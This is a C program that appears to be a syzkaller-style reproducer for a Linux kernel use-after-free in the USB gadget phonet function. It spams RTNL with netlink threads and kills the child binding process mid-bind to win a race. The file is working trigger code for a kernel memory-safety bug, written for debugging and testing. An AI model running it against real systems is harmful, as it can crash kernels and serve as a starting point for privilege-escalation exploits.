// https://syzkaller.appspot.com/bug?id=209e5fd309683eb6db025fdf81654b181e7fabfa #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include void write_file(const char *path, const char *val) { int fd = open(path, O_WRONLY); if (fd < 0) { printf("[-] Failed to open %s: %s\n", path, strerror(errno)); exit(1); } if (write(fd, val, strlen(val)) < 0) { printf("[-] Failed to write to %s: %s\n", path, strerror(errno)); } close(fd); } void write_file_ignore_err(const char *path, const char *val) { int fd = open(path, O_WRONLY); if (fd >= 0) { write(fd, val, strlen(val)); close(fd); } } void *rtnl_spammer(void *arg) { int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (fd < 0) { printf("[-] socket(AF_NETLINK) failed: %s\n", strerror(errno)); return NULL; } struct { struct nlmsghdr nlh; struct ifinfomsg ifi; } req; char buf[8192]; while (1) { memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); req.nlh.nlmsg_type = RTM_GETLINK; req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP; req.ifi.ifi_family = AF_UNSPEC; if (send(fd, &req, req.nlh.nlmsg_len, 0) < 0) { continue; } while (1) { int len = recv(fd, buf, sizeof(buf), 0); if (len <= 0) break; struct nlmsghdr *nh = (struct nlmsghdr *)buf; if (nh->nlmsg_type == NLMSG_DONE || nh->nlmsg_type == NLMSG_ERROR) break; } } return NULL; } int main() { setvbuf(stdout, NULL, _IONBF, 0); char udc_name[256] = {0}; DIR *d = opendir("/sys/class/udc"); if (d) { struct dirent *dir; while ((dir = readdir(d)) != NULL) { if (dir->d_name[0] != '.') { strcpy(udc_name, dir->d_name); break; } } closedir(d); } if (!udc_name[0]) { printf("[-] No UDC found\n"); return 1; } printf("[+] Found UDC: %s\n", udc_name); if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) { if (errno != EBUSY) { printf("[-] mount configfs failed: %s\n", strerror(errno)); return 1; } } printf("[+] configfs mounted.\n"); if (mkdir("/sys/kernel/config/usb_gadget/g1", 0777) < 0 && errno != EEXIST) { printf("[-] mkdir g1 failed: %s\n", strerror(errno)); return 1; } write_file("/sys/kernel/config/usb_gadget/g1/idVendor", "0x1d6b\n"); write_file("/sys/kernel/config/usb_gadget/g1/idProduct", "0x0104\n"); if (mkdir("/sys/kernel/config/usb_gadget/g1/configs/c.1", 0777) < 0 && errno != EEXIST) { printf("[-] mkdir c.1 failed: %s\n", strerror(errno)); return 1; } // Start rtnl spammers to cause contention for (int i = 0; i < 4; i++) { pthread_t tid; if (pthread_create(&tid, NULL, rtnl_spammer, NULL) != 0) { printf("[-] pthread_create failed\n"); return 1; } } printf("[+] RTNL spammers started.\n"); srand(time(NULL)); for (int i = 0; i < 1000; i++) { // Ensure gadget is unbound write_file_ignore_err("/sys/kernel/config/usb_gadget/g1/UDC", "\n"); usleep(10000); // 10ms to let unbind complete // Recreate function to reset phonet_opts->bound to false unlink("/sys/kernel/config/usb_gadget/g1/configs/c.1/phonet.usb0"); rmdir("/sys/kernel/config/usb_gadget/g1/functions/phonet.usb0"); if (mkdir("/sys/kernel/config/usb_gadget/g1/functions/phonet.usb0", 0777) < 0) { if (errno != EEXIST) { printf("[-] mkdir phonet.usb0 failed: %s\n", strerror(errno)); continue; } } if (symlink("/sys/kernel/config/usb_gadget/g1/functions/phonet.usb0", "/sys/kernel/config/usb_gadget/g1/configs/c.1/phonet.usb0") < 0) { if (errno != EEXIST) { printf("[-] symlink phonet.usb0 failed: %s\n", strerror(errno)); continue; } } pid_t pid = fork(); if (pid < 0) { printf("[-] fork failed: %s\n", strerror(errno)); return 1; } if (pid == 0) { // Child attempts to bind int fd = open("/sys/kernel/config/usb_gadget/g1/UDC", O_WRONLY); if (fd >= 0) { write(fd, udc_name, strlen(udc_name)); close(fd); } exit(0); } // Wait a random small amount of time to hit the race window usleep(1000 + (rand() % 5000)); // 1ms to 6ms // Kill the child. If it's waiting in rtnl_net_lock_killable, // it will return -EINTR, causing gphonet_register_netdev to fail // and free opts->net without clearing it. kill(pid, SIGKILL); waitpid(pid, NULL, 0); // Now attempt to bind again. If the race was hit, opts->net is freed, // and pn_bind will use it, triggering KASAN UAF. int fd = open("/sys/kernel/config/usb_gadget/g1/UDC", O_WRONLY); if (fd >= 0) { write(fd, udc_name, strlen(udc_name)); close(fd); } if (i % 100 == 0) { printf("[+] Iteration %d\n", i); } } printf("[+] Done.\n"); return 0; }